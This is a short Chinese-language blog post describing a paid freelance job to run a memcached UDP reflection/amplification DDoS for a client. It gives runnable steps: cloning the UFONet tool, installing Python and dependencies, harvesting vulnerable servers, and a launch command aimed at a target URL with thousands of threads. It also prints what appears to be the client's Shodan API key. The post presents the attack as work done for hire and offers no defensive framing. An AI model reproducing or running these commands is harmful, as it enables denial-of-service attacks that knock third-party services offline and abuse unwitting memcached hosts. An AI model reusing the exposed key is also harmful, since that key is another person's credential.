Freelancer任务之七memcache 放大攻击

这是一次差点蚀把米的过程啊，最后争议拿回了自己的手续费，白干了一场啊，真够倒霉的。

韩国人要反射攻击。

首先clone项目：

1git clone https://github.com/epsylon/ufonet

原理很清楚，通过memcache的漏洞，memcache居然是UDP的，伪造源地址，发一堆请求到有漏洞的memchache，引起反射攻击。

一堆有漏洞的机器从哪获得呢？这个韩国人真的有Shodan API，手榴弹？他的账号，确实可以看到一堆有毛病的机器

10ptoLUtmkSJ8DbAvyZ8PevTRsyLoxEuN

安装python:

 1wget https://www.python.org/ftp/python/2.7.14/Python-2.7.14.tgz  
 2tar zxvf Python-2.7.14.tgz  
 3cd Python-2.7.14  
 4./configure --prefix=/export/servers/Python2714
 5make  
 6make install
 7
 8wget -O- "https://bootstrap.pypa.io/get-pip.py" | /export/servers/Python2714/bin/python
 9
10
11/export/servers/Python2714/bin/pip install pycurl
12/export/servers/Python2714/bin/pip install geoip
13/export/servers/Python2714/bin/pip install whois
14/export/servers/Python2714/bin/pip install crypto
15/export/servers/Python2714/bin/pip install request

先去拿一堆漏洞机器的列表

1cd ufonet  
2/export/servers/Python2714/bin/python ./ufonet --sd 'botnet/dorks.txt' --sa

轰击：

1/export/servers/Python2714/bin/python ./ufonet./ufonet -a http://target.com -r 10000 --threads 2000

Freelancer任务之七memcache 放大攻击

相关文章